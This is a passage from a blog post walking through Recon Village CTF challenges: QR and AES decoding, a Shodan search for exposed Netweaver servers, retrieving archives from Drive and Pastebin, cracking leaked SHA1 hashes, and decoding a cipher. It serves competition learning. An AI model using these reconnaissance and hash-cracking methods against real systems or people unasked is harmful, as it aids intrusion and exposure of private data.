href="https://pbs.twimg.com/profile_images/891241464402857984/Jjl1wYUJ_400x400.jpg">URL</a> was imported into an online QR decoder <a href="https://zxing.org/w/decode.jspx">tool</a> resulting in a gist link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*4aOH5Bkw_Jl3ZqwjBpNl6Q.png" /><figcaption>The QR code decoded.</figcaption></figure><p>The gist <a href="https://gist.github.com/anonymous/fe8450f1e93555f29a2381a21e035a4c">URL</a> was recently submitted by an anonymous user and contained two items of interest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jarlE9AQUEnLK90PrzL8Zw.png" /><figcaption>Gist contents from the QR code.</figcaption></figure><p>The first string was recognized as ASCII and Burp Suite was used to decode and reveal “uuuuuuiiiiii”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*r8MII2U9OQN1HwktJePAzg.png" /><figcaption>Decoding ASCII hex using Burp Decoder.</figcaption></figure><p>Next, an AES decryption <a href="http://aesencryption.net/">website</a> was leveraged to import the decoded key “uuuuuuiiiiii” and decrypt “JZ5xVbdrIjWL1Cj2hNs+kKU7pBr49a+lWZcMBmdkagM=” revealing the flag Sup3rS3cr3tk3y@3221.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kwHJG27oTcVI3aXQt5psEg.png" /><figcaption>Screenshot showing successful decryption.</figcaption></figure><h3>Challenge 10— Germany</h3><h4>Overview</h4><p>Points: 100</p><p>Description:</p><blockquote>Find the IP Address of the Netweaver Application that runs on an apache server and sits in Switzerland</blockquote><p>Skills Required: Shodan OSINT.</p><h4>Walk-Through</h4><p>Shodan was used to search for “Netweaver”, with the Switzerland country abbreviation “CH<em>”</em>, and “Apache”. The exact search query string was: netweaver country:ch product:apache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M-HO8HbhLFu_A8xqmzwY3Q.png" /></figure><p>The flag was the IP address 91.212.75.227.</p><h3>Challenge 11 — Brazil</h3><h4>Overview</h4><p>Points: 200</p><p>Description:</p><blockquote>Company x64-corp has received an email which says:<br> <br>Hi,<br> <br>This bad chap out there tracks leaked info. He got some info about us too and leaked that same. <a href="http://ow.ly/Zx8y30e0EKu">http://ow.ly/Zx8y30e0EKu</a></blockquote><blockquote>Can you help us identify the info he’s leaked.</blockquote><p>Skills Required: Basic knowledge of zip and 7zip, and Pastebin OSINT.</p><h4>Walk-Through</h4><p>A URL shortener <a href="http://unfurlr.com/">analyzer</a> was used to inspect the ow.ly link and was found to be pointing to a <a href="https://drive.google.com/drive/folders/0BzPVktCa6QgTZVpGV2dxM1RUekE?usp=%20sharing">directory</a> on Google Drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*girY_KM4zkAK1KqLNoVAiQ.png" /><figcaption>Ow.ly URL information.</figcaption></figure><p>The Google Drive location “whose_data” contained a .zip and .7z files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-lZskM_RDPqcIFT0kv_6Q.png" /><figcaption>Google Drive directory listing.</figcaption></figure><p>The .7z file “this_data.7z” was encrypted and password protected; however, the .zip file “why_data.zip” was a normal compressed file, which was decompressed and yielded a text file named “what_data”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*s9BUZ0jaRDk_5P4vp-cQRg.png" /><figcaption>Extracting “what_data” from “why_data.zip”.</figcaption></figure><p>The contents of “what_data” were assumed to be the decryption password for “this_data.7z”, which was successfully decrypted and resulted in a new text file named “S3cr3tp4st3dum9” containing sixteen pastbin.com URLs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*pIHDMKKwBrBYjGMkb4TUgw.png" /><figcaption>Decrypting “this_data.7z” and listing the contents of the file.</figcaption></figure><p>Content for all pastinbin.com URLs were analyzed with only <a href="https://pastebin.com/SY23hK1m">one</a> containing actionable intelligence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*7q4nNk70CQyzZ1JRdg9c4w.png" /><figcaption>Pastebin.com post containing hashes.</figcaption></figure><p>This post appeared to be the leaked data the challenge description referred to. All unique terms on the page were submitted as flags with gue55wh4therei5theflag.x32corp.org being the flag.</p><h3>Challenge # 12 — Bolivia</h3><h4>Overview</h4><p>Points: 200</p><p>Description:</p><blockquote>Great, you found something in challenge 11, but are they really usable or just another bunch of garbage?</blockquote><p>Skills Required: Identifying hashes, and cracking hashes.</p><h4>Walk-Through</h4><p>In challenge 11, nine hashes were found leaked and identified as SHA1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*sFhlUFGHUwiN8maJmWoe5w.png" /><figcaption>The linux tool hash-identifier is used to id the hash.</figcaption></figure><p>Before using a password cracking rig, an online SHA1 hash <a href="https://crackstation.net/">cracker</a> was checked to identify any pre-cracked hashes, resulting in the hash “4642e9dd8056bb057056bf75a73f74600e1f8e7b” being on the list. The flag for the challenge was notthisone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fW1dX6fsvoOL9A2TTdqy3g.png" /><figcaption>Screenshot showing the cracked hash.</figcaption></figure><h3>Challenge # 13 — Argentina</h3><h4>Overview</h4><p>Points: 100</p><p>Description:</p><blockquote>Cracked password in challenge 12? seems useful? Really?</blockquote><p>Skills Required: Hash cracking.</p><h4>Walk-Through</h4><p>The team assumed additional hashes would need to be cracked. While a dictionary password attack using hashcat chewed through the hashes, various online hash crackers were checked. There was one online hash <a href="https://hashkiller.co.uk/sha1-decrypter.aspx">cracker</a> that had the plain-text password for the hash “b2399b0109bfc8090a51d7098367512fb7e5d9ec”. The flag was notthisone2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9qhImfPuLfbPdLKKA6vc2g.png" /><figcaption>A new clear-text cracked hash is identified.</figcaption></figure><h3>Challenge # 14 — Russia</h3><h4>Overview</h4><p>Points: 300</p><p>Description:</p><blockquote>Solve the Reccon Village Badge Challenge and help us find the username of the hacker.</blockquote><p>Skills Required: Identifying ciphers.</p><h4>Walk-Through</h4><p>The Russia challenge involved browsing various ciphers on image repositories like Google Images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TacAJukk_XOwhQR-dPzKeg.jpeg" /><figcaption>The back of the Recon Village badge.</figcaption></figure><p>While browsing ciphers, we came across one cipher that looked <a href="http://4.bp.blogspot.com/-po8UFdj7Glo/Vec4EYcBerI/AAAAAAAAAOQ/z6JMBOA5iag/s1600/Ciphers%2Bof%2Bthe%2BIlluminati.jpg">identical</a>. Here’s the original <a href="https://www.illuminatirex.com/ciphers/">source</a> for the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*TSxr0NotoUXQW6hInsrgww.png" /><figcaption>Illuminati cipher decoding chart.</figcaption></figure><p>Using this chart, the cipher was decoded using the “Cipher 1” value set. The flag was git:jamescru001.</p><h3>Concluding Remarks</h3><p>For the last couple of years, OSINT has become an obsession for me and it is something I take very seriously when conducting red team operations and penetration tests for my day job. I am excited that events like Recon Village are popping up, as I feel OSINT deserves much more recognition. It was great to see people who share a passion for OSINT come together and I expect great things from this village in the years to come. I do hope the folks running DEF CON provide more space for the village next year as it was difficult to attend many of the talks. For those interested, my understanding is the videos will be posted online in the near future.</p><p>My only advice on CTF improvements would be more difficult challenges like United States, while still including OSINT requirements, and additional chained investigation challenges like Greenland. These two challenges were our favorites. Australia was also a lot of fun!</p><p><strong>A huge thank you to all the people who competed in this year’s Recon Village CTF</strong>! We would also like to thank all the <a href="http://reconvillage.org/sponsors/">sponsors</a> for investing in the village. Without their support, this village and CTF would not have been possible. Thanks for the sweet <a href="http://us.yuneec.com/typhoon-4k-overview">drone</a>, Hak5 WiFi Pineapple kit, and Maltego and <a href="https://medium.com/u/b6d7ada0a8b9">Hunchly</a> licenses!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UlVOED4MF21NIAxGVfextA.png" /></figure><p>If anyone has any feedback (good or bad), questions, or needs additional clarification on any of the challenges, please do not hesitate to comment below.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe8787f3ce7f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/osintblog/recon-village-ctf-overview-fe8787f3ce7f">Recon Village CTF Overview</a> was originally published in <a href="https://medium.com/osintblog">OSINT Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>